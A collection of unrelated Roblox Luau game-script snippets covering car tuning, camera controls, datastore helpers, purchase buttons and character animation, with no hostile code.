carSeat.Storage.Mode.Value == "City" then mode = 0.81 elseif carSeat.Storage.Mode.Value == "Sport" then mode = 0.98 elseif carSeat.Storage.Mode.Value == "Snow" then mode = 0.6 end carSeat.Parent.Engine.Intake.Pitch = 1
-------------------------
function onClicked() R.Function1.Disabled = false R.loop.Disabled = true R.BrickColor = BrickColor.new("Really red") R.Function2.Disabled = true end script.Parent.ClickDetector.MouseClick:connect(onClicked)
----------------- --| Constants |-- -----------------
local GRAVITY_ACCELERATION = workspace.Gravity local RELOAD_TIME = 3.5 -- Seconds until tool can be used again local ROCKET_SPEED = 800 -- Speed of the projectile local MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534' local MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25) local ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27)
--Updates the gear number
val.Gear.Changed:connect(function() Guages.Gear.Text = tostring(val.Gear.Value) end)
-- ============================================ -- Falling Objects
local cube = { MODEL = ServerStorage["Cube"], DAMAGE = 150, NUMBER_PER_MINUTE = 40, CLEANUP_DELAY_IN_SECONDS = 20 } table.insert(fallingStuffTable, cube)
--[Variables]--
local BHText = workspace.HoursValues.BHTextValue; local BHValue = workspace.HoursValues.BHValue; local BHEndValue = workspace.HoursValues.BHEndValue; local Stunning = script.Parent.Stunning; local StunsValue = script.Parent.Stun.GetStuns
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function Datastore.Get(datastore, key, scope) --- Sanity check if key == nil or datastore == nil then print("Key or datastore nil", true) return end --- If datastore argument is not a datastore obj - find it, and cache it to save memory if type(datastore) == "string" then if not datastoresCache[datastore] then datastoresCache[datastore] = {} end if not datastoresCache[datastore][scope] then datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope) end datastore = datastoresCache[datastore][scope] end --- Attempt it local attempts = 0 local success = false local returnedValue -- while (attempts < maxGetAttempts and returnedValue == nil) do attempts = attempts + 1 success = pcall(function() returnedValue = datastore:GetAsync(key) end) if not success then wait(.5) end end --- Debug prints if Debug then if attempts >= maxGetAttempts or returnedValue == nil then print("Could not get key --- " .. key .. "", true) end end -- return returnedValue, success end function Datastore.Set(datastore, key, value, scope) --- Sanity check if key == nil or value == nil or datastore == nil then print("Key, value, or datastore nil", true) return false end --- If datastore argument is not a datastore obj - find it, and cache it to save memory if type(datastore) == "string" then if not datastoresCache[datastore] then datastoresCache[datastore] = {} end if not datastoresCache[datastore][scope] then datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope) end datastore = datastoresCache[datastore][scope] end --- Attempt it local attempts = 0 local success = false -- repeat attempts = attempts + 1 success = pcall(function() datastore:SetAsync(key, value) end) if not success then wait(.5) end until success or attempts >= maxSetAttempts --- Debug prints if Debug then if attempts >= maxSetAttempts then print("Failed to set key --- " .. key .. "", true) end end -- return success end function Datastore.Update(datastore, key, updateFunction, scope) --- Sanity check if key == nil or updateFunction == nil or datastore == nil then print("Key, function, or datastore nil", true) return false end --- If datastore argument is not a datastore obj - find it, and cache it to save memory if type(datastore) == "string" then if not datastoresCache[datastore] then datastoresCache[datastore] = {} end if not datastoresCache[datastore][scope] then datastoresCache[datastore][scope] = _L.DataStoreService:GetDataStore(datastore, scope) end datastore = datastoresCache[datastore][scope] end --- Attempt it local attempts = 0 local success = false -- repeat attempts = attempts + 1 success = pcall(function() datastore:UpdateAsync(key, updateFunction) end) if not success then wait(.5) end until success or attempts >= maxUpdateAttempts --- Debug prints if Debug then if attempts >= maxUpdateAttempts then print("Failed to update key --- " .. key .. "", true) end end -- return success end
--[[ Player state. Upon entering state Dead, will try and switch to spectating shortly after. ]]
local PlayerDead = {}
--// if a player is done typing, allow them to use Q/E to change spec again //--
UIS.TextBoxFocusReleased:connect(function() focusedOnText = false end)
---[[ Chat Text Size Settings ]]
module.ChatWindowTextSize = 22 module.ChatChannelsTabTextSize = 18 module.ChatBarTextSize = 22 module.ChatWindowTextSizePhone = 14 module.ChatChannelsTabTextSizePhone = 18 module.ChatBarTextSizePhone = 14
--[[script.Parent.MouseButton1Click:connect(function() p = script.Parent.Parent.Parent.Parent.Parent script.Parent.Parent.Visible = false if p.Order.Value == true then wait() ids = 21341246 game:GetService("MarketplaceService"):PromptProductPurchase(p, ids) print('passed.5') wait() script.Parent.Parent.Parent:Destroy() -- setup local variables end end)--]]
ID = game.Workspace.McDId.Value script.Parent.MouseButton1Click:connect(function() script.Parent.Parent.Visible = false Service = game:GetService('MarketplaceService') Player = script.Parent.Parent.Parent.Parent.Parent local s,e = coroutine.resume(coroutine.create(function() if Player:findFirstChild("Backpack") then if Player:findFirstChild("Backpack") then Service.ProcessReceipt = (function(receiptInfo) for i,v in pairs(Player.Order:GetChildren()) do if v:IsA("BoolValue") then game.Lighting[v.Name]:clone().Parent = Player.Backpack end end Player.Order:ClearAllChildren() Player.Order.Value = false; Service.ProcessReceipt = nil; for a,b in pairs(Player.PlayerGui:GetChildren()) do if b.Name == "Incomplete" then b:Destroy() end end end) Service:PromptProductPurchase(Player,ID); script.Parent.Parent.Parent.Name = "Incomplete" end end end)) if not s then Instance.new("Hint",game.Workspace).Text = "Error: "..e end end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 425 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- Listener for changes to workspace.CurrentCamera
function BaseCamera:OnCurrentCameraChanged() if UserInputService.TouchEnabled then if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end local newCamera = game.Workspace.CurrentCamera if newCamera then self:OnViewportSizeChanged() self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function() self:OnViewportSizeChanged() end) end end -- VR support additions if self.cameraSubjectChangedConn then self.cameraSubjectChangedConn:Disconnect() self.cameraSubjectChangedConn = nil end local camera = game.Workspace.CurrentCamera if camera then self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function() self:OnNewCameraSubject() end) self:OnNewCameraSubject() end end function BaseCamera:OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then self.isDynamicThumbstickEnabled = true end end function BaseCamera:OnDynamicThumbstickDisabled() self.isDynamicThumbstickEnabled = false end function BaseCamera:OnGameSettingsTouchMovementModeChanged() if Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if (UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.DynamicThumbstick or UserGameSettings.TouchMovementMode == Enum.TouchMovementMode.Default) then self:OnDynamicThumbstickEnabled() else self:OnDynamicThumbstickDisabled() end end end function BaseCamera:OnDevTouchMovementModeChanged() if Players.LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then self:OnDynamicThumbstickEnabled() else self:OnGameSettingsTouchMovementModeChanged() end end function BaseCamera:OnPlayerCameraPropertyChange() -- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:GetCameraHeight() if VRService.VREnabled and not self.inFirstPerson then return math.sin(VR_ANGLE) * self.currentSubjectDistance end return 0 end function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity) if not FFlagUserDontAdjustSensitvityForPortrait then local camera = game.Workspace.CurrentCamera if camera and camera.ViewportSize.X > 0 and camera.ViewportSize.Y > 0 and (camera.ViewportSize.Y > camera.ViewportSize.X) then -- Screen has portrait orientation, swap X and Y sensitivity return translationVector * Vector2.new( sensitivity.Y, sensitivity.X) end end return translationVector * sensitivity end function BaseCamera:Enable(enable) if self.enabled ~= enable then self.enabled = enable if self.enabled then self:ConnectInputEvents() self:BindContextActions() if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end end else self:DisconnectInputEvents() self:UnbindContextActions() -- Clean up additional event listeners and reset a bunch of properties self:Cleanup() end end end function BaseCamera:GetEnabled() return self.enabled end function BaseCamera:OnInputBegan(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Down(input, processed) end end function BaseCamera:OnInputChanged(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then self:OnMouseMoved(input, processed) end end function BaseCamera:OnInputEnded(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then self:OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then self:OnMouse3Up(input, processed) end end function BaseCamera:OnPointerAction(wheel, pan, pinch, processed) if processed then return end if pan.Magnitude > 0 then local inversionVector = Vector2.new(1, UserGameSettings:GetCameraYInvertValue()) local rotateDelta = self:InputTranslationToCameraAngleChange(PAN_SENSITIVITY*pan, MOUSE_SENSITIVITY)*inversionVector self.rotateInput = self.rotateInput + rotateDelta end local zoom = self.currentSubjectDistance local zoomDelta = -(wheel + pinch) if abs(zoomDelta) > 0 then local newZoom if self.inFirstPerson and zoomDelta > 0 then newZoom = FIRST_PERSON_DISTANCE_THRESHOLD else newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE) end self:SetCameraToSubjectDistance(newZoom) end end function BaseCamera:ConnectInputEvents() self.pointerActionConn = UserInputService.PointerAction:Connect(function(wheel, pan, pinch, processed) self:OnPointerAction(wheel, pan, pinch, processed) end) self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) self:OnInputBegan(input, processed) end) self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed) self:OnInputChanged(input, processed) end) self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed) self:OnInputEnded(input, processed) end) self.menuOpenedConn = GuiService.MenuOpened:connect(function() self:ResetInputStates() end) self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if self.activeGamepad ~= gamepadEnum then return end self.activeGamepad = nil self:AssignActivateGamepad() end) self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if self.activeGamepad == nil then self:AssignActivateGamepad() end end) self:AssignActivateGamepad() self:UpdateMouseBehavior() end function BaseCamera:BindContextActions() self:BindGamepadInputActions() self:BindKeyboardInputActions() end function BaseCamera:AssignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if self.activeGamepad == nil then self.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < self.activeGamepad.Value then self.activeGamepad = connectedGamepads[i] end end end if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 self.activeGamepad = Enum.UserInputType.Gamepad1 end end function BaseCamera:DisconnectInputEvents() if self.inputBeganConn then self.inputBeganConn:Disconnect() self.inputBeganConn = nil end if self.inputChangedConn then self.inputChangedConn:Disconnect() self.inputChangedConn = nil end if self.inputEndedConn then self.inputEndedConn:Disconnect() self.inputEndedConn = nil end end function BaseCamera:UnbindContextActions() for i = 1, #self.boundContextActions do ContextActionService:UnbindAction(self.boundContextActions[i]) end self.boundContextActions = {} end function BaseCamera:Cleanup() if self.pointerActionConn then self.pointerActionConn:Disconnect() self.pointerActionConn = nil end if self.menuOpenedConn then self.menuOpenedConn:Disconnect() self.menuOpenedConn = nil end if self.mouseLockToggleConn then self.mouseLockToggleConn:Disconnect() self.mouseLockToggleConn = nil end if self.gamepadConnectedConn then self.gamepadConnectedConn:Disconnect() self.gamepadConnectedConn = nil end if self.gamepadDisconnectedConn then self.gamepadDisconnectedConn:Disconnect() self.gamepadDisconnectedConn = nil end if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end if self.viewportSizeChangedConn then self.viewportSizeChangedConn:Disconnect() self.viewportSizeChangedConn = nil end if self.touchActivateConn then self.touchActivateConn:Disconnect() self.touchActivateConn = nil end self.turningLeft = false self.turningRight = false self.lastCameraTransform = nil self.lastSubjectCFrame = nil self.userPanningTheCamera = false self.rotateInput = Vector2.new() self.gamepadPanningCamera = Vector2.new(0,0) -- Reset input states self.startPos = nil self.lastPos = nil self.panBeginLook = nil self.isRightMouseDown = false self.isMiddleMouseDown = false self.fingerTouches = {} self.dynamicTouchInput = nil self.numUnsunkTouches = 0 self.startingDiff = nil self.pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Olive",Paint) end)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local u1 = nil; local u2 = require(script.LightningBolt); function v1.Bolt(p1, p2, p3, p4, p5) local v2 = Instance.new("Part"); v2.Size = Vector3.new(0, 0, 0); v2.Transparency = 1; v2.Anchored = true; v2.CanCollide = false; v2.Parent = workspace; local v3 = v2:Clone(); local l__Ignored__4 = workspace.Ignored; v2.Parent = l__Ignored__4; v3.Parent = l__Ignored__4; v2.Position = p1; v3.Position = p2; local v5 = CFrame.fromAxisAngle((v3.Position - v2.Position).Unit, 2 * math.random(0.1, 10) * math.pi); local v6 = Instance.new("Attachment"); local v7 = Instance.new("Attachment"); v6.Parent = v2; v7.Parent = v3; v6.WorldAxis = v5 * v6.WorldAxis; v7.WorldAxis = v5 * v7.WorldAxis; if p5 == true then u1.Explode(v3.Position, 1, 20, Color3.fromRGB(90, 80, 255), Color3.fromRGB(90, 80, 255), Vector3.new(0, 2, 0), p4); end; local u3 = u2.new(v6, v7, p3); coroutine.resume(coroutine.create(function() wait(p4); u3:Destroy(); v2:Destroy(); v3:Destroy(); v6:Destroy(); v7:Destroy(); end)); return u3; end; function v1.Explode(p6, p7, p8, p9, p10, p11, p12, p13) local v8 = require(script.LightningBolt.LightningExplosion); v8.new(p6, p7, p8, p9, p10, p11); return v8; end; function v1.Sparks(p14, p15) return require(script.LightningBolt.LightningSparks).new(p14, p15); end; u1 = v1; return nil;
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "GreenTopHat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,-0.25,0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\
local uis = game:GetService("UserInputService") local runservice = game:GetService("RunService") local tweenservice = game:GetService("TweenService") local player = game.Players.LocalPlayer local mouse = player:GetMouse() local camera = workspace.CurrentCamera local character = player.Character or player.CharacterAdded:Wait() local rootpart = character:WaitForChild("HumanoidRootPart") local humanoid = character:WaitForChild("Humanoid") local torso local roothip local lowertorso local oldc0 local leftshoulder local rightshoulder local larm local rarm local armparts = {} local rigtype = nil local isrunning = false local armsvisible = true -- whether the arms are visible in first person local armtransparency = firstperson_arm_transparency local isfirstperson = false local sway = Vector3.new(0,0,0) local walksway = CFrame.new(0,0,0) local strafesway = CFrame.Angles(0,0,0) local jumpsway = CFrame.new(0,0,0) local jumpswaygoal = Instance.new("CFrameValue")
--[[ Script Variables ]]
-- while not Players.LocalPlayer do Players.PlayerAdded:wait() end local LocalPlayer = Players.LocalPlayer local Tools = {} local ToolEquipped = nil local RevertAutoJumpEnabledToFalse = false local ThumbstickFrame = nil local GestureArea = nil local StartImage = nil local EndImage = nil local MiddleImages = {} local MoveTouchObject = nil local IsFollowStick = false local ThumbstickFrame = nil local OnMoveTouchEnded = nil -- defined in Create() local OnTouchMovedCn = nil local OnTouchEndedCn = nil local TouchActivateCn = nil local OnRenderSteppedCn = nil local currentMoveVector = Vector3.new(0,0,0) local IsFirstTouch = true
--------------------------------------------------------------------------
local _WHEELTUNE = { --[[ SS6 Presets [Eco] WearSpeed = 1, TargetFriction = .7, MinFriction = .1, [Road] WearSpeed = 2, TargetFriction = .7, MinFriction = .1, [Sport] WearSpeed = 3, TargetFriction = .79, MinFriction = .1, ]] TireWearOn = true , --Friction and Wear FWearSpeed = 5.0 , FTargetFriction = 1.1 , FMinFriction = .5 , RWearSpeed = 9.0 , RTargetFriction = 2.0 , RMinFriction = .5 , --Tire Slip TCSOffRatio = 1/3 , WheelLockRatio = 1/2 , --SS6 Default = 1/4 WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 1 , --SS6 Default = 1 RFrictionWeight = 1 , --SS6 Default = 1 FLgcyFrWeight = 10 , RLgcyFrWeight = 10 , FElasticity = 0 , --SS6 Default = .5 RElasticity = 0 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 1 , --SS6 Default = 1 RElastWeight = 1 , --SS6 Default = 1 FLgcyElWeight = 10 , RLgcyElWeight = 10 , --Wear Regen RegenSpeed = 9.8 --SS6 Default = 3.6 }
--[[ Destroys the component ]]
function Window:destroy() for _, connection in pairs(self._connections) do connection:Disconnect() end end return Window
--------LEFT DOOR --------
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(106) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1023) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--Game which use Donor
local gamesWithDonor = { {574407221, "Super Hero Tycoon"}; {2921400152, "4PLR Tycoon"}; {1828225164, "Guest World"}; {591993002, "OHD Roleplay World"}; {4823091615 , "Paradise Life"}; {49254942, "2 Player House Tycoon"}; {3169584572, "Meme Music"}; {2764548803, "Island Hotel"}; {3093229294, "Animations: Mocap"}; {3411100258, "evry bordr gam evr"}; {3108078982, "HD Admin House"}; {12996397, "Mega Fun Obby 🌟"}; {184558572, "Survive the Disasters"}; {4522347649, "[FREE ADMIN]"}; --{0, ""}; } local coreFunctions repeat wait() coreFunctions = main:GetModule("cf") until coreFunctions.RandomiseTable local gamesWithDonorSorted = coreFunctions:RandomiseTable(gamesWithDonor, 86400) for i, gameData in pairs(gamesWithDonorSorted) do local gameId = gameData[1] local gameName = gameData[2] local row = math.ceil(i/2) local column = i % 2 local gamePage if column == 1 then gamePage = templateGame:Clone() gamePage.Name = "AI Game".. row gamePage.Visible = true gamePage.Parent = pages.donor else gamePage = pages.donor["AI Game".. row] end local gameThumbnail = gamePage["GameImage"..column] local gameLabel = gamePage["GameName"..column] local image = "https://assetgame.roblox.com/Game/Tools/ThumbnailAsset.ashx?aid=".. gameId .."&fmt=png&wd=420&ht=420" gameThumbnail.Image = image gameLabel.Text = gameName gameThumbnail.Visible = true gameLabel.Visible = true --Teleport to game local selectButton = gameThumbnail.Select local clickFrame = gameThumbnail.ClickFrame selectButton.MouseButton1Click:Connect(function() teleportFrame.ImageLabel.Image = image teleportFrame.TeleportTo.TextLabel.Text = gameName.."?" teleportFrame.MainButton.PlaceId.Value = gameId main:GetModule("cf"):ShowWarning("Teleport") end) selectButton.MouseEnter:Connect(function() if not main.warnings.Visible then clickFrame.Visible = true end end) selectButton.MouseLeave:Connect(function() clickFrame.Visible = false end) teleportFrame.Visible = true end
----------SCRIPTED BY ZEDARKALIEN----------
local button = script.Parent local player = game.Players.LocalPlayer local GamepassId = script.Parent.GamepassId button.MouseButton1Click:connect(function() if player then game:GetService("MarketplaceService"):PromptGamePassPurchase(player, GamepassId.Value) end end)
--Drop on Death Script --Unless you know what you're doing, do not modify this script.
if script.Parent.Parent:IsA("Backpack") then --This ensures that the tool's parent is a player's backpack. local player = script.Parent.Parent.Parent --This identifies the player with the tool. local character = player.Character --This identifies the character holding the tool. local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character. local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid". local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript. characterscript.Parent = character --This puts the CharacterScript inside the character. characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside. characterscript.Player.Value = player --This sets the player value to the player with the tool. characterscript.Disabled = false --This enables the CharacterScript clone. if humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that "Humanoid" and "HumanoidRootPart" exist inside the character. humanoid.Died:Connect(function() --This detects the death of the character. script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position. script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up. end) end elseif script.Parent.Parent:IsA("Model") then --If the tool's parent is a model, then the code below will run instead. local character = script.Parent.Parent --This identifies the character holding the tool. local player = game.Players:GetPlayerFromCharacter(character) --This identifies the player of the character. local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character. local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid". local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript. characterscript.Parent = character --This puts the CharacterScript inside the character. characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside. characterscript.Player.Value = player --This sets the player value to the player with the tool. characterscript.Disabled = false --This enables the CharacterScript clone. if player ~= nil and humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that the player exists and "Humanoid" and "HumanoidRootPart" exist inside the character. humanoid.Died:Connect(function() --This detects the death of the character. script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position. script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up. end) end end script.Parent.AncestryChanged:Connect(function() --This detects a change of the tool's parent. if script.Parent.Parent:IsA("Backpack") then --This ensures that the tool's parent is a player's backpack. local player = script.Parent.Parent.Parent --This identifies the player with the tool. local character = player.Character --This identifies the character holding the tool. local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character. local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid". local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript. characterscript.Parent = character --This puts the CharacterScript inside the character. characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside. characterscript.Player.Value = player --This sets the player value to the player with the tool. characterscript.Disabled = false --This enables the CharacterScript clone. if humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that "Humanoid" and "HumanoidRootPart" exist inside the character. humanoid.Died:Connect(function() --This detects the death of the character. script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position. script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up. end) end elseif script.Parent.Parent:IsA("Model") then --If the tool's parent is a model, then the code below will run instead. local character = script.Parent.Parent --This identifies the character holding the tool. local player = game.Players:GetPlayerFromCharacter(character) --This identifies the player of the character. local humanoidrootpart = character:FindFirstChild("HumanoidRootPart") --This finds the HumanoidRootPart of the character. local humanoid = character:FindFirstChild("Humanoid") --This identifies "Humanoid". local characterscript = script.CharacterScript:Clone() --This clones the CharacterScript. characterscript.Parent = character --This puts the CharacterScript inside the character. characterscript.Tool.Value = script.Parent --This sets the tool value to the tool this script is inside. characterscript.Player.Value = player --This sets the player value to the player with the tool. characterscript.Disabled = false --This enables the CharacterScript clone. if player ~= nil and humanoid ~= nil and humanoidrootpart ~= nil then --This ensures that the player exists and "Humanoid" and "HumanoidRootPart" exist inside the character. humanoid.Died:Connect(function() --This detects the death of the character. script.Parent.Handle.CFrame = CFrame.new(humanoidrootpart.Position) --This sets the position of the handle to the character's position. script.Parent.Parent = game.Lighting --This puts the tool into Lighting so nobody can pick it up. end) end end end)
------------------ ------------------
function waitForChild(parent, childName) while true do local child = parent:findFirstChild(childName) if child then return child end parent.ChildAdded:wait() end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local isSeated = false function onRunning(speed) if isSeated then return end if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() isSeated = false pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onDancing() pose = "Dancing" end function onFallingDown() pose = "FallingDown" end function onSeated() isSeated = true pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1 LeftShoulder.DesiredAngle = -1 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFloat() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = -1.57 end function moveBoogy() while pose=="Boogy" do wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 1.57 end end function moveZombie() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function movePunch() script.Parent.Torso.Anchored=true RightShoulder.MaxVelocity = 60 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 wait(1) script.Parent.Torso.Anchored=false pose="Standing" end function moveKick() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveFly() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveClimb() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = -3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() kidTable = Figure:children() if (kidTable ~= nil) then numKids = #kidTable for i=1,numKids do if (kidTable[i].className == "Tool") then return kidTable[i] end end end return nil end function getToolAnim(tool) c = tool:children() for i=1,#c do if (c[i].Name == "toolanim" and c[i].className == "StringValue") then return c[i] end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = -1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then 